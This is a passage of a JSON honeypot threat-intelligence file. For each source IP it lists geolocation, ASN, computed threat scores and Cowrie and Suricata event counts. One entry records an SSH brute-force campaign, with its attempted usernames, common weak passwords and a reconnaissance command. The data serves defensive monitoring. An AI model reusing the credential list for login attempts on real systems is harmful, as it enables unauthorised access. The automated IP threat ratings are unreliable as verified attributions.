      "country": "United States",
      "country_code": "US",
      "city": "Warrenton",
      "asn": 213412,
      "as_org": "ONYPHE SAS",
      "threat_score": 92.2,
      "threat_level": "critical",
      "score_components": {
        "frequency": 22.2,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 166,
        "days_active_30d": 30,
        "ports_targeted_30d": 62,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-03-02T16:45:21+00:00",
        "last_seen_30d": "2026-03-31T20:06:17.084000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 101,
        "Honeytrap": 59,
        "Cowrie": 4,
        "Ciscoasa": 1,
        "Dionaea": 1
      }
    },
    "2.57.122.190": {
      "attack_count": 4,
      "first_seen": "2026-03-14T22:05:40.771Z",
      "last_seen": "2026-03-14T22:05:42.682Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Romania",
      "country_code": "RO",
      "city": null,
      "asn": 47890,
      "as_org": "Unmanaged Ltd",
      "threat_score": 9.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-14T22:05:40.771000+00:00",
        "last_seen_30d": "2026-03-14T22:06:47.885000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "54.221.170.110": {
      "attack_count": 4,
      "first_seen": "2026-03-23T00:55:39.150Z",
      "last_seen": "2026-03-23T00:55:46.801Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 14618,
      "as_org": "Amazon.com, Inc.",
      "threat_score": 47.9,
      "threat_level": "medium",
      "score_components": {
        "frequency": 12.0,
        "persistence": 10.8,
        "diversity": 10,
        "spread": 15,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 16,
        "days_active_30d": 13,
        "ports_targeted_30d": 5,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-19T00:53:44+00:00",
        "last_seen_30d": "2026-03-31T00:59:47.227000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 8,
        "Cowrie": 4,
        "Honeytrap": 4
      }
    },
    "159.65.193.17": {
      "attack_count": 3,
      "first_seen": "2026-03-17T11:29:15.476Z",
      "last_seen": "2026-03-17T11:29:15.754Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": "Amsterdam",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 18.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.5,
        "persistence": 11.7,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 9,
        "days_active_30d": 14,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-04T22:30:33.632000+00:00",
        "last_seen_30d": "2026-03-17T11:30:51.408000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Suricata": 6,
        "Cowrie": 3
      }
    },
    "106.105.209.240": {
      "attack_count": 2,
      "first_seen": "2026-03-25T11:55:15.566Z",
      "last_seen": "2026-03-25T11:55:46.040Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Taiwan",
      "country_code": "TW",
      "city": "Tainan",
      "asn": 131602,
      "as_org": "Hsin Yeong An Cable TV Co., Ltd.",
      "threat_score": 15.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-25T11:55:15.566000+00:00",
        "last_seen_30d": "2026-03-25T11:56:47.821000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "107.172.235.119": {
      "attack_count": 2,
      "first_seen": "2026-03-21T14:49:58.080Z",
      "last_seen": "2026-03-21T14:50:03.161Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Los Angeles",
      "asn": 36352,
      "as_org": "HostPapa",
      "threat_score": 29.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 9.5,
        "persistence": 5.0,
        "diversity": 6,
        "spread": 15,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 9,
        "days_active_30d": 6,
        "ports_targeted_30d": 3,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-21T14:49:58.080000+00:00",
        "last_seen_30d": "2026-03-26T03:08:11.631000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Suricata": 5,
        "Cowrie": 2,
        "Honeytrap": 2
      }
    },
    "117.72.121.35": {
      "attack_count": 2,
      "first_seen": "2026-03-08T05:55:47.974Z",
      "last_seen": "2026-03-08T05:56:19.185Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 141679,
      "as_org": "China Telecom Beijing Tianjin Hebei Big Data Industry Park Branch",
      "threat_score": 4.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-08T05:55:47.974000+00:00",
        "last_seen_30d": "2026-03-08T05:57:23.744000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "122.117.175.247": {
      "attack_count": 2,
      "first_seen": "2026-03-29T22:30:32.607Z",
      "last_seen": "2026-03-29T22:30:50.403Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Taiwan",
      "country_code": "TW",
      "city": "Tainan",
      "asn": 3462,
      "as_org": "Data Communication Business Group",
      "threat_score": 16.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-29T22:30:32.607000+00:00",
        "last_seen_30d": "2026-03-29T22:32:00.354000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "122.117.251.230": {
      "attack_count": 2,
      "first_seen": "2026-03-24T14:05:47.751Z",
      "last_seen": "2026-03-24T14:06:18.767Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Taiwan",
      "country_code": "TW",
      "city": "Kaohsiung",
      "asn": 3462,
      "as_org": "Data Communication Business Group",
      "threat_score": 14.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-24T14:05:47.751000+00:00",
        "last_seen_30d": "2026-03-24T14:07:26.839000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "123.143.70.52": {
      "attack_count": 2,
      "first_seen": "2026-03-14T09:29:31.838Z",
      "last_seen": "2026-03-14T09:30:02.629Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Hwaseong-si",
      "asn": 3786,
      "as_org": "LG DACOM Corporation",
      "threat_score": 8.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-14T09:29:31.838000+00:00",
        "last_seen_30d": "2026-03-14T09:31:05.113000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "124.253.121.220": {
      "attack_count": 2,
      "first_seen": "2026-03-24T23:30:03.822Z",
      "last_seen": "2026-03-24T23:30:35.189Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Pati\u0101la",
      "asn": 17917,
      "as_org": "Quadrant Televentures Limited",
      "threat_score": 14.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-24T23:30:03.822000+00:00",
        "last_seen_30d": "2026-03-24T23:31:43.888000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "124.97.156.36": {
      "attack_count": 2,
      "first_seen": "2026-03-11T18:44:59.344Z",
      "last_seen": "2026-03-11T18:45:29.886Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Japan",
      "country_code": "JP",
      "city": "Okinawa",
      "asn": 4713,
      "as_org": "NTT DOCOMO BUSINESS,Inc.",
      "threat_score": 6.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-11T18:44:59.344000+00:00",
        "last_seen_30d": "2026-03-11T18:46:36.249000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "134.215.127.37": {
      "attack_count": 2,
      "first_seen": "2026-03-26T15:58:10.811Z",
      "last_seen": "2026-03-26T15:58:24.368Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Sun Prairie",
      "asn": 4181,
      "as_org": "TDS TELECOM",
      "threat_score": 14.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-26T15:58:10.811000+00:00",
        "last_seen_30d": "2026-03-26T15:59:30.294000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "141.98.100.151": {
      "attack_count": 2,
      "first_seen": "2026-03-24T21:24:32.557Z",
      "last_seen": "2026-03-24T21:26:32.572Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": "Poplar",
      "asn": 9009,
      "as_org": "M247 Europe SRL",
      "threat_score": 40.0,
      "threat_level": "medium",
      "score_components": {
        "frequency": 12.3,
        "persistence": 0.8,
        "diversity": 14,
        "spread": 25,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 17,
        "days_active_30d": 1,
        "ports_targeted_30d": 7,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-03-24T21:24:32.557000+00:00",
        "last_seen_30d": "2026-03-24T21:37:59.396000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Suricata": 12,
        "Cowrie": 2,
        "Dionaea": 1,
        "Honeytrap": 1,
        "Tanner": 1
      }
    },
    "176.221.7.236": {
      "attack_count": 2,
      "first_seen": "2026-03-31T12:17:12.660Z",
      "last_seen": "2026-03-31T12:17:44.015Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": null,
      "asn": 31724,
      "as_org": "Svyazist LLC",
      "threat_score": 18.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-31T12:17:12.660000+00:00",
        "last_seen_30d": "2026-03-31T12:18:50.451000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "177.85.156.153": {
      "attack_count": 2,
      "first_seen": "2026-03-11T11:38:13.089Z",
      "last_seen": "2026-03-11T11:38:44.463Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Primavera do Leste",
      "asn": 52564,
      "as_org": "Biazi Telecom",
      "threat_score": 6.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-11T11:38:13.089000+00:00",
        "last_seen_30d": "2026-03-11T11:48:45.561000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "183.105.113.173": {
      "attack_count": 2,
      "first_seen": "2026-03-14T22:38:53.256Z",
      "last_seen": "2026-03-14T22:39:06.293Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Gwangsan-gu",
      "asn": 4766,
      "as_org": "Korea Telecom",
      "threat_score": 7.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-14T22:38:53.256000+00:00",
        "last_seen_30d": "2026-03-14T22:40:15.554000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "186.188.187.214": {
      "attack_count": 2,
      "first_seen": "2026-03-07T05:00:28.908Z",
      "last_seen": "2026-03-07T05:00:42.468Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Panama",
      "country_code": "PA",
      "city": "Panama City",
      "asn": 18809,
      "as_org": "Cable Onda",
      "threat_score": 3.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-07T05:00:28.908000+00:00",
        "last_seen_30d": "2026-03-07T05:02:17.545000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "190.16.179.96": {
      "attack_count": 2,
      "first_seen": "2026-03-16T14:23:11.285Z",
      "last_seen": "2026-03-16T14:23:23.874Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Argentina",
      "country_code": "AR",
      "city": "Santa Fe",
      "asn": 7303,
      "as_org": "Telecom Argentina S.A.",
      "threat_score": 8.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-16T14:23:11.285000+00:00",
        "last_seen_30d": "2026-03-16T14:24:26.385000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "200.115.232.92": {
      "attack_count": 2,
      "first_seen": "2026-03-20T09:42:55.728Z",
      "last_seen": "2026-03-20T09:43:16.145Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Argentina",
      "country_code": "AR",
      "city": "Buenos Aires",
      "asn": 27747,
      "as_org": "Telecentro S.A.",
      "threat_score": 11.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-20T09:42:55.728000+00:00",
        "last_seen_30d": "2026-03-20T09:44:25.898000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "201.71.152.109": {
      "attack_count": 2,
      "first_seen": "2026-03-17T17:37:53.627Z",
      "last_seen": "2026-03-17T17:38:24.374Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Cuiab\u00e1",
      "asn": 28635,
      "as_org": "AVATO TECNOLOGIA S.A",
      "threat_score": 10.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-17T17:37:53.627000+00:00",
        "last_seen_30d": "2026-03-17T17:39:33.443000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "205.210.31.234": {
      "attack_count": 2,
      "first_seen": "2026-03-03T01:04:25.473Z",
      "last_seen": "2026-03-03T01:04:35.181Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 79.5,
      "threat_level": "high",
      "score_components": {
        "frequency": 18.9,
        "persistence": 23.3,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 78,
        "days_active_30d": 28,
        "ports_targeted_30d": 24,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-03-03T01:04:25.473000+00:00",
        "last_seen_30d": "2026-03-30T19:07:16.401000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 55,
        "Honeytrap": 18,
        "Dionaea": 3,
        "Cowrie": 2
      }
    },
    "42.193.183.42": {
      "attack_count": 2,
      "first_seen": "2026-03-16T10:40:01.993Z",
      "last_seen": "2026-03-16T10:40:33.183Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Guangzhou",
      "asn": 45090,
      "as_org": "Shenzhen Tencent Computer Systems Company Limited",
      "threat_score": 9.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-16T10:40:01.993000+00:00",
        "last_seen_30d": "2026-03-16T10:41:38.094000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "49.232.42.214": {
      "attack_count": 2,
      "first_seen": "2026-03-24T15:36:16.228Z",
      "last_seen": "2026-03-24T15:36:48.014Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Beijing",
      "asn": 45090,
      "as_org": "Shenzhen Tencent Computer Systems Company Limited",
      "threat_score": 27.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 7.0,
        "persistence": 16.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 5,
        "days_active_30d": 20,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-05T21:29:17.978000+00:00",
        "last_seen_30d": "2026-03-24T15:37:55.550000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Suricata": 3,
        "Cowrie": 2
      }
    },
    "8.163.52.220": {
      "attack_count": 2,
      "first_seen": "2026-03-29T10:36:01.771Z",
      "last_seen": "2026-03-29T10:36:02.016Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Guangzhou",
      "asn": 37963,
      "as_org": "Hangzhou Alibaba Advertising Co.,Ltd.",
      "threat_score": 19.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-29T10:35:50.382000+00:00",
        "last_seen_30d": "2026-03-29T10:37:12.037000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 4,
        "Cowrie": 2
      }
    },
    "91.231.89.226": {
      "attack_count": 2,
      "first_seen": "2026-03-14T22:28:40.131Z",
      "last_seen": "2026-03-14T22:28:40.132Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Gravelines",
      "asn": 213412,
      "as_org": "ONYPHE SAS",
      "threat_score": 82.9,
      "threat_level": "critical",
      "score_components": {
        "frequency": 22.9,
        "persistence": 25,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 195,
        "days_active_30d": 30,
        "ports_targeted_30d": 53,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-02T02:21:09.198000+00:00",
        "last_seen_30d": "2026-03-31T23:05:11.949000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 162,
        "Honeytrap": 31,
        "Cowrie": 2
      }
    },
    "91.80.188.223": {
      "attack_count": 2,
      "first_seen": "2026-03-18T08:42:31.969Z",
      "last_seen": "2026-03-18T08:42:45.638Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Italy",
      "country_code": "IT",
      "city": null,
      "asn": 30722,
      "as_org": "Fastweb",
      "threat_score": 10.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-18T08:42:31.969000+00:00",
        "last_seen_30d": "2026-03-18T08:43:50.658000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "46.101.162.236": {
      "attack_count": 3525,
      "first_seen": "2026-03-04T07:24:56.998Z",
      "last_seen": "2026-03-04T07:58:03.057Z",
      "sessions": 705,
      "ports": [],
      "usernames_attempted": [
        "root",
        "deploy",
        "ubuntu",
        "user",
        "ftpuser",
        "admin",
        "test",
        "deployer",
        "kafka",
        "minecraft",
        "odoo",
        "oracle",
        "student",
        "alex",
        "bot",
        "jenkins",
        "steam",
        "ali",
        "debian",
        "web"
      ],
      "passwords_attempted": [
        "123456",
        "123",
        "password",
        "P@ssw0rd",
        "12345678",
        "1234",
        "p@ssw0rd",
        "1",
        "12345",
        "root",
        "111",
        "1111",
        "1qaz@WSX",
        "admin",
        "admin123",
        "1234567",
        "0000",
        "11",
        "123123123",
        "123456789"
      ],
      "commands_executed": [
        "uname -s -v -n -r -m"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Frankfurt am Main",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 4.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 30,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 4947,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-04T07:24:56.998000+00:00",
        "last_seen_30d": "2026-03-04T07:59:12.486000+00:00",
        "days_since_last_seen": 27
      },
